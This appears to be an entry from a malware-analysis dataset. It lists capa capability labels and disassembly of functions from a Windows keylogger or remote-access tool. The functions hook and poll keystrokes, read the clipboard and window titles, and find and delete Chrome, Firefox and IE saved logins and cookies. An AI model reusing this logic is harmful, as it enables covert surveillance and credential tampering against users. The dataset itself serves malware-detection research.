joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40977e
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c
lea eax, [ebp + 8]
push ebx
push esi
mov esi, ecx
push edi
push eax
lea ecx, [esi + 0x60]
mov byte [esi + 0x49], 1
call fcn.0040adb7
cmp byte [0x46f9d4], 0x32
mov edi, str.Offline_Keylogger_Started
je 0x4097d2
push edi
lea ecx, [esp + 0x14]
call fcn.00402073
sub esp, 0x18
lea edx, [esp + 0x28]
mov ecx, esp
call fcn.0041a337
mov ecx, esi
call fcn.0040a62b
lea ecx, [esp + 0x10]
call fcn.00401fb8
sub esp, 0x18
mov ecx, esp
push edi
call fcn.00402073
sub esp, 0x18
mov ecx, esp
push 0x463f74
call fcn.00402073
call fcn.00419c3c
mov edi, dword [sym.imp.KERNEL32.DLL_CreateThread]
add esp, 0x30
xor ebx, ebx
push ebx
push ebx
push esi
push 0x409880
push ebx
push ebx
call edi
cmp dword [esi], ebx
jne 0x409818
push ebx
push ebx
push esi
push 0x40986a
push ebx
push ebx
call edi
push ebx
push ebx
push esi
push 0x40988c
push ebx
push ebx
call edi
lea ecx, [ebp + 8]
call fcn.00401ee9
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x18

Function at 0x409835
Capabilities:
Create thread

Disassembly:
push esi
mov esi, ecx
lea eax, [esp + 8]
push eax
lea ecx, [esi + 0x60]
call fcn.0040adb7
cmp byte [esi + 0x49], 0
jne 0x40985d
xor eax, eax
push eax
push eax
push esi
push 0x409876
push eax
push eax
call dword [sym.imp.KERNEL32.DLL_CreateThread]
lea ecx, [esp + 8]
call fcn.00401ee9
pop esi
ret 0x18

Function at 0x4098bb
Capabilities:
Log keystrokes via application hook

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x38
push esi
mov esi, ecx
push edi
xor edi, edi
mov dword [0x470b24], esi
cmp dword [esi], edi
jne 0x409936
push edi
push edi
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push eax
push 0x4098a7
push 0xd
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
mov dword [esi], eax
test eax, eax
jne 0x409936
call dword [sym.imp.KERNEL32.DLL_GetLastError]
mov edx, eax
lea ecx, [esp + 0xc]
call fcn.0041a283
sub esp, 0x18
mov edx, str.Keylogger_initialization_failure:_error
mov ecx, esp
push eax
call fcn.004052dd
sub esp, 0x14
mov ecx, esp
push 0x463ed8
call fcn.00402073
call fcn.00419c3c
add esp, 0x30
lea ecx, [esp + 0xc]
call fcn.00401fb8
xor eax, eax
inc eax
jmp 0x409964
push edi
push edi
push edi
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x409962
lea eax, [esp + 0x24]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [esp + 0x24]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageA]
cmp dword [esi], edi
jne 0x409936
xor eax, eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4099e3
Capabilities:
Get keyboard layout
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x124
push ebx
push esi
push edi
push 0x100
lea eax, [ebp - 0x124]
mov ebx, ecx
push 0
push eax
call fcn.00435330
add esp, 0xc
lea edi, [ebp - 0x22]
xor eax, eax
mov word [ebp - 0x24], ax
push 7
pop ecx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
call dword [sym.imp.USER32.dll_GetForegroundWindow]
lea ecx, [ebp - 4]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push eax
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
push 0x10
mov esi, eax
call dword [sym.imp.USER32.dll_GetKeyState]
lea eax, [ebp - 0x124]
push eax
call dword [sym.imp.USER32.dll_GetKeyboardState]
push esi
push 0
push 0x10
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x124]
push eax
push dword [ebx + 0x50]
push dword [ebx + 0x4c]
call dword [sym.imp.USER32.dll_ToUnicodeEx]
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x24]
push eax
call fcn.0040415e
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x409be8
Capabilities:
Get file size

Disassembly:
mov eax, dword [0x4730e0]
or eax, dword [0x4730e4]
push ebx
push esi
push edi
mov esi, ecx
je 0x409c95
xor ebx, ebx
mov byte [esi + 0x39], bl
push ebx
push 0x80
push 3
push ebx
push 7
push closesocket
mov ecx, 0x473098
call fcn.00401ee4
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x409c69
push ebx
push edi
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
cmp ebx, dword [0x4730e4]
jb 0x409c60
ja 0x409c45
cmp eax, dword [0x4730e0]
jb 0x409c60
mov byte [esi + 0x39], 1
cmp byte [esi + 0x49], bl
je 0x409c55
mov ecx, esi
call fcn.0040a5a0
push 0x2710
call dword [sym.imp.KERNEL32.DLL_Sleep]
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
jmp 0x409c6c
mov byte [esi + 0x39], bl
cmp byte [esi + 0x39], 1
je 0x409c03
cmp byte [esi + 0x49], bl
jne 0x409c95
cmp byte [0x46f9d4], 0x31
jne 0x409c95
sub esp, 0x18
lea eax, [esi + 0x60]
mov ecx, esp
push eax
call fcn.004086d0
mov ecx, esi
call fcn.0040977e
pop edi
pop esi
pop ebx
ret
Function at 0x409c99
Capabilities:
Check if file exists
Create directory
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x460
push ebx
push ebp
mov ebx, ecx
push esi
push edi
lea ebp, [ebx + 4]
push 0x1388
call dword [sym.imp.KERNEL32.DLL_Sleep]
mov ecx, ebx
call fcn.00409be8
mov edx, 0x464438
mov ecx, ebp
call fcn.00406e2b
test al, al
je 0x409ea0
mov ecx, 0x4730b0
call fcn.0040619c
test al, al
jne 0x409cf5
push 0
mov ecx, 0x4730b0
call fcn.00401ee4
push eax
call dword [sym.imp.KERNEL32.DLL_CreateDirectoryW]
lea edi, [ebx + 0x60]
mov ecx, edi
call fcn.00401ee4
push eax
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesW]
test al, 2
je 0x409d1d
push 0x80
mov ecx, edi
call fcn.00401ee4
push eax
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesW]
push 0x12
mov ecx, 0x473290
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
cmp byte [eax], 0
jne 0x409d61
push 1
mov ecx, edi
call fcn.00401ee4
push eax
mov ecx, ebp
call fcn.0040245c
mov esi, eax
mov ecx, ebp
add esi, esi
call fcn.00401ee4
mov edx, esi
mov ecx, eax
call fcn.0041a8e8
pop ecx
pop ecx
jmp 0x409e6c
lea ecx, [esp + 0x10]
call fcn.004020bf
mov ecx, 0x473278
call fcn.0040245c
push eax
mov ecx, 0x473278
call fcn.00401f8b
push eax
lea ecx, [esp + 0x78]
call fcn.0040632b
mov ecx, edi
call fcn.00401ee4
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x409df8
lea ecx, [esp + 0x28]
call fcn.004020bf
mov ecx, edi
call fcn.00401ee4
lea edx, [esp + 0x28]
mov ecx, eax
call fcn.0041a97c
test al, al
je 0x409def
lea ecx, [esp + 0x28]
call fcn.0040245c
push eax
lea ecx, [esp + 0x2c]
call fcn.00401f8b
push eax
lea eax, [esp + 0x48]
push eax
lea ecx, [esp + 0x7c]
call fcn.0040644c
push eax
lea ecx, [esp + 0x14]
call fcn.00401fc2
lea ecx, [esp + 0x40]
call fcn.00401fb8
lea ecx, [esp + 0x28]
call fcn.00401fb8
mov ecx, ebp
call fcn.0040245c
add eax, eax
mov ecx, ebp
push eax
call fcn.00401ee4
push eax
lea ecx, [esp + 0x48]
call fcn.00402097
push eax
lea ecx, [esp + 0x14]
call fcn.00403356
lea ecx, [esp + 0x40]
call fcn.00401fb8
lea ecx, [esp + 0x10]
call fcn.0040245c
push eax
lea ecx, [esp + 0x14]
call fcn.00401f8b
push eax
lea eax, [esp + 0x60]
push eax
lea ecx, [esp + 0x7c]
call fcn.0040644c
mov ecx, edi
call fcn.00401ee4
mov edx, eax
lea ecx, [esp + 0x58]
call fcn.0041a9e9
lea ecx, [esp + 0x58]
call fcn.00401fb8
lea ecx, [esp + 0x10]
call fcn.00401fb8
push 0x464438
mov ecx, ebp
call fcn.004086cb
push 0x13
mov ecx, 0x473290
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
cmp byte [eax], 0
je 0x409ea0
push 6
mov ecx, edi
call fcn.00401ee4
push eax
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesW]
cmp byte [ebx + 0x49], 0
jne 0x409cae
pop edi
xor eax, eax
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40a19a
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x74
push ebx
push esi
push edi
mov edi, ecx
cmp byte [edi + 0x49], 0
jne 0x40a1b8
cmp byte [edi + 0x4a], 0
je 0x40a3a9
mov eax, dword fs:[0x2c]
mov ecx, dword [eax]
mov eax, dword [0x474c28]
cmp eax, dword [ecx + 4]
jle 0x40a202
push 0x474c28
call fcn.0043282d
cmp dword [0x474c28], 0xffffffff
pop ecx
jne 0x40a202
mov ecx, 0x474c2c
call fcn.00401f66
push 0x456436
call fcn.00432bd4
mov dword [esp], 0x474c28
call fcn.004327ee
pop ecx
push 0x1f4
call dword [sym.imp.KERNEL32.DLL_Sleep]
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov ebx, eax
push ebx
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
mov esi, eax
push 0
lea ecx, [esi + 1]
push ecx
lea ecx, [esp + 0x28]
call fcn.0040adcf
test esi, esi
je 0x40a2d7
lea ecx, [esp + 0x20]
call fcn.0040245c
push eax
lea ecx, [esp + 0x24]
call fcn.00401ee4
push eax
push ebx
call dword [sym.imp.USER32.dll_GetWindowTextW]
mov edx, 0x474c2c
lea ecx, [esp + 0x20]
call fcn.0040ae88
test al, al
jne 0x40a2d7
lea eax, [esp + 0x20]
mov ecx, 0x474c2c
push eax
call fcn.0040adb7
lea ecx, [esp + 0x20]
call fcn.0040245c
dec eax
lea ecx, [esp + 0x20]
push eax
call fcn.004086b8
sub esp, 0x18
lea eax, [esp + 0x38]
cmp byte [0x473083], 0
je 0x40a2a6
mov ecx, esp
push eax
call fcn.004086d0
mov ecx, edi
call fcn.0040a62b
jmp 0x40a2d7
mov esi, esp
lea ecx, [esp + 0x50]
push 0x4646b4
push eax
mov edx, 0x4646bc
call fcn.0040ae47
pop ecx
mov edx, eax
mov ecx, esi
call fcn.00402ff4
pop ecx
mov ecx, edi
call fcn.00409ba9
lea ecx, [esp + 0x38]
call fcn.00401ee9
mov ecx, edi
call fcn.0040ac0f
call fcn.0041a233
mov esi, 0xea60
cmp eax, esi
jb 0x40a392
mov ebx, dword [esp + 0x10]
cmp byte [edi + 0x49], 0
jne 0x40a304
cmp byte [edi + 0x4a], 0
je 0x40a3a0
call fcn.0041a233
cmp eax, esi
jb 0x40a320
mov ebx, eax
push 0x3e8
mov dword [esp + 0x14], ebx
call dword [sym.imp.KERNEL32.DLL_Sleep]
jmp 0x40a2f4
push 0xa
lea eax, [esp + 0x18]
xor edx, edx
push eax
mov eax, ebx
div esi
push eax
call fcn.004402f1
add esp, 0xc
lea eax, [esp + 0x14]
lea ecx, [esp + 0x68]
push str._minutes__r_n
push eax
call fcn.00402073
push eax
mov edx, str._r_n_User_has_been_idle_for
lea ecx, [esp + 0x58]
call fcn.004052dd
pop ecx
mov edx, eax
lea ecx, [esp + 0x3c]
call fcn.00408832
sub esp, 0x14
mov edx, eax
mov ecx, esp
call fcn.0041a337
mov ecx, edi
call fcn.00409ba9
lea ecx, [esp + 0x38]
call fcn.00401fb8
lea ecx, [esp + 0x50]
call fcn.00401fb8
lea ecx, [esp + 0x68]
call fcn.00401fb8
lea ecx, [esp + 0x20]
call fcn.00401ee9
jmp 0x40a1a8
lea ecx, [esp + 0x20]
call fcn.00401ee9
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40a3b2
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
mov esi, ecx
push edi
cmp byte [esi + 0x4a], 0
jne 0x40a44c
mov edi, str.Online_Keylogger_Started
mov byte [esi + 0x4a], 1
push edi
lea ecx, [ebp - 0x18]
call fcn.00402073
sub esp, 0x18
lea edx, [ebp - 0x18]
mov ecx, esp
call fcn.0041a337
mov ecx, esi
call fcn.0040a62b
lea ecx, [ebp - 0x18]
call fcn.00401fb8
sub esp, 0x18
mov ecx, esp
push edi
call fcn.00402073
sub esp, 0x18
mov ecx, esp
push 0x463f74
call fcn.00402073
call fcn.00419c3c
mov edi, dword [sym.imp.KERNEL32.DLL_CreateThread]
xor ebx, ebx
add esp, 0x30
cmp byte [esi + 0x49], bl
jne 0x40a440
cmp dword [esi], ebx
jne 0x40a434
push ebx
push ebx
push esi
push 0x40986a
push ebx
push ebx
call edi
push ebx
push ebx
push esi
push 0x40988c
push ebx
push ebx
call edi
push ebx
push ebx
push esi
push 0x409898
push ebx
push ebx
call edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40abd5
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push esi
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x40abf9
push 0xd
call dword [sym.imp.USER32.dll_GetClipboardData]
mov esi, eax
call dword [sym.imp.USER32.dll_CloseClipboard]
test esi, esi
je 0x40abf9
push esi
jmp 0x40abfe
push 0x464438
mov ecx, dword [esp + 0xc]
call fcn.0040415e
mov eax, dword [esp + 8]
pop esi
ret 4

Function at 0x40ad6d
Capabilities:
Delete directory
Delete file
Terminate thread

Disassembly:
push ebx
xor ebx, ebx
push ebx
push 0x409880
mov byte [0x473081], bl
call dword [sym.imp.KERNEL32.DLL_TerminateThread]
mov eax, dword [0x473038]
test eax, eax
je 0x40ada4
push eax
call dword [sym.imp.USER32.dll_UnhookWindowsHookEx]
push ebx
push 0x40986a
mov dword [0x473038], ebx
call dword [sym.imp.KERNEL32.DLL_TerminateThread]
mov ecx, 0x473038
pop ebx
jmp fcn.0040ad30

Function at 0x40aece
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
push str.AppDataLocalGoogleChromeUser_DataDefaultLogin_Data
push 0x46497c
call fcn.0043a52a
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.00402073
mov edx, eax
lea ecx, [ebp - 0x18]
call fcn.00408832
pop ecx
lea ecx, [ebp - 0x30]
call fcn.00401fb8
lea ecx, [ebp - 0x18]
call fcn.00401f8b
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
test eax, eax
jne 0x40af35
call dword [sym.imp.KERNEL32.DLL_GetLastError]
dec eax
sub eax, 1
je 0x40af29
sub eax, 1
je 0x40af29
xor bl, bl
jmp 0x40af4e
sub esp, 0x18
mov ecx, esp
push str._n_Chrome_StoredLogins_not_found_
jmp 0x40af3f
sub esp, 0x18
mov ecx, esp
push str._n_Chrome_StoredLogins_found__cleared__
call fcn.00402073
call fcn.0040b694
mov bl, 1
add esp, 0x18
lea ecx, [ebp - 0x18]
call fcn.00401fb8
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40af5d
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
push str.AppDataLocalGoogleChromeUser_DataDefaultCookies
push 0x46497c
call fcn.0043a52a
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.00402073
mov edx, eax
lea ecx, [ebp - 0x18]
call fcn.00408832
pop ecx
lea ecx, [ebp - 0x30]
call fcn.00401fb8
lea ecx, [ebp - 0x18]
call fcn.00401f8b
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
test eax, eax
jne 0x40afc4
call dword [sym.imp.KERNEL32.DLL_GetLastError]
dec eax
sub eax, 1
je 0x40afb8
sub eax, 1
je 0x40afb8
xor bl, bl
jmp 0x40afdd
sub esp, 0x18
mov ecx, esp
push str._n_Chrome_Cookies_not_found_
jmp 0x40afce
sub esp, 0x18
mov ecx, esp
push str._n_Chrome_Cookies_found__cleared__
call fcn.00402073
call fcn.0040b694
mov bl, 1
add esp, 0x18
lea ecx, [ebp - 0x18]
call fcn.00401fb8
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40afec
Capabilities:
Delete file
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1d4
lea ecx, [ebp - 0x60]
push esi
call fcn.004020bf
lea ecx, [ebp - 0x48]
call fcn.004020bf
lea ecx, [ebp - 0x18]
call fcn.004020bf
push str.AppDataRoamingMozillaFirefoxProfiles_
lea ecx, [ebp - 0x78]
call fcn.00402073
push eax
push 0x46497c
call fcn.0043a52a
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.004052dd
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.00401fc2
lea ecx, [ebp - 0x30]
call fcn.00401fb8
lea ecx, [ebp - 0x78]
call fcn.00401fb8
lea eax, [ebp - 0x1d0]
push eax
push 0x46493c
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x78]
call fcn.00406292
pop ecx
mov ecx, eax
call fcn.00401f8b
push eax
call dword [sym.imp.KERNEL32.DLL_FindFirstFileA]
lea ecx, [ebp - 0x78]
mov esi, eax
call fcn.00401fb8
cmp esi, 0xffffffff
jne 0x40b1a0
push esi
call dword [sym.imp.KERNEL32.DLL_FindClose]
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_StoredLogins_not_found_
call fcn.00402073
call fcn.0040b694
add esp, 0x18
jmp 0x40b1d4
test byte [ebp - 0x1d0], 0x10
je 0x40b1a0
lea eax, [ebp - 0x1a4]
push 0x464a9c
push eax
call fcn.0043e170
pop ecx
pop ecx
test eax, eax
je 0x40b1a0
lea eax, [ebp - 0x1a4]
push 0x464aa0
push eax
call fcn.0043e170
pop ecx
pop ecx
test eax, eax
je 0x40b1a0
lea eax, [ebp - 0x1a4]
push str.logins.json
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x90]
call fcn.00406292
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.00408832
pop ecx
push eax
lea ecx, [ebp - 0x60]
call fcn.00401fc2
lea ecx, [ebp - 0x30]
call fcn.00401fb8
lea ecx, [ebp - 0x90]
call fcn.00401fb8
lea eax, [ebp - 0x1a4]
push str.key3.db
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x30]
call fcn.00406292
pop ecx
mov edx, eax
lea ecx, [ebp - 0x90]
call fcn.00408832
pop ecx
push eax
lea ecx, [ebp - 0x48]
call fcn.00401fc2
lea ecx, [ebp - 0x90]
call fcn.00401fb8
lea ecx, [ebp - 0x30]
call fcn.00401fb8
lea ecx, [ebp - 0x60]
call fcn.00401f8b
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
test eax, eax
jne 0x40b187
call dword [sym.imp.KERNEL32.DLL_GetLastError]
lea ecx, [ebp - 0x48]
call fcn.00401f8b
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
test eax, eax
jne 0x40b1a0
call dword [sym.imp.KERNEL32.DLL_GetLastError]
lea eax, [ebp - 0x1d0]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_FindNextFileA]
test eax, eax
jne 0x40b0a7
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_StoredLogins_Cleared__
call fcn.00402073
call fcn.0040b694
add esp, 0x18
push esi
call dword [sym.imp.KERNEL32.DLL_FindClose]
lea ecx, [ebp - 0x18]
call fcn.00401fb8
lea ecx, [ebp - 0x48]
call fcn.00401fb8
lea ecx, [ebp - 0x60]
call fcn.00401fb8
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x40b1f3
Capabilities:
Delete file
Enumerate files on windows
Gather firefox profile information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1b8
lea ecx, [ebp - 0x30]
push ebx
push esi
call fcn.004020bf
lea ecx, [ebp - 0x18]
call fcn.004020bf
push str.AppDataRoamingMozillaFirefoxProfiles_
lea ecx, [ebp - 0x60]
call fcn.00402073
push eax
push 0x46497c
call fcn.0043a52a
pop ecx
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.004052dd
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.00401fc2
lea ecx, [ebp - 0x48]
call fcn.00401fb8
lea ecx, [ebp - 0x60]
call fcn.00401fb8
lea eax, [ebp - 0x1b8]
push eax
push 0x46493c
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x60]
call fcn.00406292
pop ecx
mov ecx, eax
call fcn.00401f8b
push eax
call dword [sym.imp.KERNEL32.DLL_FindFirstFileA]
lea ecx, [ebp - 0x60]
mov esi, eax
call fcn.00401fb8
cmp esi, 0xffffffff
jne 0x40b33d
push esi
call dword [sym.imp.KERNEL32.DLL_FindClose]
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_Cookies_not_found_
call fcn.00402073
call fcn.0040b694
add esp, 0x18
jmp 0x40b371
test byte [ebp - 0x1b8], 0x10
je 0x40b33d
lea eax, [ebp - 0x18c]
push 0x464a9c
push eax
call fcn.0043e170
pop ecx
pop ecx
test eax, eax
je 0x40b33d
lea eax, [ebp - 0x18c]
push 0x464aa0
push eax
call fcn.0043e170
pop ecx
pop ecx
test eax, eax
je 0x40b33d
lea eax, [ebp - 0x18c]
push 0x464b04
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x78]
call fcn.00406292
pop ecx
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.00408832
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.00401fc2
lea ecx, [ebp - 0x48]
call fcn.00401fb8
lea ecx, [ebp - 0x78]
call fcn.00401fb8
lea ecx, [ebp - 0x30]
call fcn.00401f8b
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
test eax, eax
jne 0x40b396
call dword [sym.imp.KERNEL32.DLL_GetLastError]
dec eax
sub eax, 1
jne 0x40b38b
lea eax, [ebp - 0x1b8]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_FindNextFileA]
test eax, eax
jne 0x40b2a7
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_Cookies_not_found_
call fcn.00402073
call fcn.0040b694
add esp, 0x18
push esi
call dword [sym.imp.KERNEL32.DLL_FindClose]
mov bl, 1
lea ecx, [ebp - 0x18]
call fcn.00401fb8
lea ecx, [ebp - 0x30]
call fcn.00401fb8
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.DLL_FindClose]
xor bl, bl
jmp 0x40b373
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_cookies_found__cleared__
jmp 0x40b295
Function at 0x40b3a5
Capabilities:
Check if file exists
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x150
lea ecx, [ebp - 0x18]
push ebx
push esi
call fcn.004020bf
push ecx
push str.Cookies
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerUser_Shell_Folders
mov edx, closesocket
lea ecx, [ebp - 0x30]
xor ebx, ebx
call fcn.0041274b
add esp, 0xc
lea ecx, [ebp - 0x18]
push eax
call fcn.00401fc2
lea ecx, [ebp - 0x30]
call fcn.00401fb8
mov edx, 0x464074
lea ecx, [ebp - 0x18]
call fcn.00405ae5
test al, al
je 0x40b412
sub esp, 0x18
mov ecx, esp
push str._n_IE_cookies_not_found_
call fcn.00402073
call fcn.0040b694
mov bl, 1
jmp 0x40b4b5
push 0x104
lea eax, [ebp - 0x150]
push eax
lea ecx, [ebp - 0x18]
call fcn.00401f8b
push eax
call dword [sym.imp.KERNEL32.DLL_ExpandEnvironmentStringsA]
lea eax, [ebp - 0x150]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x40b3f7
lea eax, [ebp - 0x150]
push eax
lea ecx, [ebp - 0x30]
call fcn.00402073
lea edx, [ebp - 0x30]
lea ecx, [ebp - 0x48]
call fcn.0041a337
mov ecx, eax
call fcn.00401ee4
mov ecx, eax
call fcn.0041a788
lea ecx, [ebp - 0x48]
mov esi, eax
call fcn.00401ee9
lea ecx, [ebp - 0x30]
call fcn.00401fb8
test esi, esi
je 0x40b48b
sub esp, 0x18
mov ecx, esp
push str._n_IE_cookies_cleared__
jmp 0x40b401
push ebx
push 0x464bb8
mov ecx, 0x473948
call fcn.00406155
test eax, eax
je 0x40b4b8
sub esp, 0x18
mov bl, 1
mov ecx, esp
push str._n_IE_cookies_cleared__
call fcn.00402073
call fcn.0040b694
add esp, 0x18
lea ecx, [ebp - 0x18]
call fcn.00401fb8
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40b61e
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
imul eax, edx, 0xea60
push ebx
push esi
xor esi, esi
mov byte [0x470b19], cl
push edi
mov dword [0x470b28], eax
test cl, cl
je 0x40b67b
mov edi, 0x464c10
mov dword [ebp - 4], esi
mov ebx, 0x473230
push edi
mov ecx, ebx
call fcn.00401f8b
mov edx, eax
call fcn.004126a4
pop ecx
test al, al
je 0x40b67b
lea eax, [ebp - 4]
mov ecx, ebx
push eax
push edi
call fcn.00401f8b
mov edx, eax
call fcn.004126ee
pop ecx
pop ecx
cmp dword [ebp - 4], esi
je 0x40b67b
xor al, al
jmp 0x40b68d
push esi
push esi
push esi
push 0x40b4c8
push esi
push esi
call dword [sym.imp.KERNEL32.DLL_CreateThread]
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40b809
Capabilities:
Check if file exists
Enumerate files on windows
Gather firefox profile information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2e0
push esi
push edi
push str.AppData
mov esi, ecx
call fcn.0043a51f
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.0040415e
push str.MozillaFirefoxProfiles_
lea ecx, [ebp - 0x18]
call fcn.004086c6
lea eax, [ebp - 0x2e0]
push eax
push 0x4645b8
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x60]
call fcn.004087f0
pop ecx
mov ecx, eax
call fcn.00401ee4
push eax
call dword [sym.imp.KERNEL32.DLL_FindFirstFileW]
lea ecx, [ebp - 0x60]
mov edi, eax
call fcn.00401ee9
cmp edi, 0xffffffff
jne 0x40b87d
push 0x464438
mov ecx, esi
call fcn.0040415e
jmp 0x40b953
lea ecx, [ebp - 0x48]
call fcn.004020bf
jmp 0x40b922
test byte [ebp - 0x2e0], 0x10
je 0x40b922
lea eax, [ebp - 0x2b4]
push 0x4644f8
push eax
call fcn.0043ddbf
pop ecx
pop ecx
test eax, eax
je 0x40b922
lea eax, [ebp - 0x2b4]
push 0x4645dc
push eax
call fcn.0043ddbf
pop ecx
pop ecx
test eax, eax
je 0x40b922
push str.cookies.sqlite
lea ecx, [ebp - 0x90]
call fcn.0040415e
push eax
lea eax, [ebp - 0x2b4]
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x78]
call fcn.004087f0
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.00402f85
pop ecx
lea ecx, [ebp - 0x78]
call fcn.00401ee9
lea ecx, [ebp - 0x90]
call fcn.00401ee9
lea ecx, [ebp - 0x30]
call fcn.00401ee4
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x40b963
lea ecx, [ebp - 0x30]
call fcn.00401ee9
lea eax, [ebp - 0x2e0]
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_FindNextFileW]
test eax, eax
jne 0x40b88a
push edi
call dword [sym.imp.KERNEL32.DLL_FindClose]
push 0x464438
mov ecx, esi
call fcn.0040415e
lea ecx, [ebp - 0x48]
call fcn.00401fb8
lea ecx, [ebp - 0x18]
call fcn.00401ee9
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
push edi
call dword [sym.imp.KERNEL32.DLL_FindClose]
lea eax, [ebp - 0x30]
mov ecx, esi
push eax
call fcn.00403242
lea ecx, [ebp - 0x30]
call fcn.00401ee9
jmp 0x40b94b